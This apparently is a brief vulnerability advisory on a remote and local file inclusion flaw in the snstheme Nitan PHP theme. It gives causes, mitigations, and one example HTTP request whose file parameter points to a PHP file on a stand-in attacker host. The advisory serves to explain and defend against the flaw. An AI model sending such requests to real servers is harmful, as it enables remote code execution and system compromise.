How the Exploit Works
The vulnerability arises from the improper control of filename for the include/require statement in the PHP program of snstheme Nitan. This allows an attacker to include local files from the server or remote files from any location. The attacker sends a specially crafted request to the server, manipulating the path of the included file. If successful, this enables the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This example is an HTTP request where the attacker alters the file path parameter to point to a malicious PHP file on a remote server.
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comCountermeasures and Mitigation
As a countermeasure, users of snstheme Nitan are advised to apply the vendor-supplied patch immediately. If the patch cannot be applied immediately, users should consider using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy to detect and block attempts to exploit this vulnerability.
In the long term, developers should follow best practices for secure coding to prevent such vulnerabilities. This includes validating all input, especially those used in file include operations, and avoiding the use of user-supplied input to construct file paths without proper sanitization and validation.
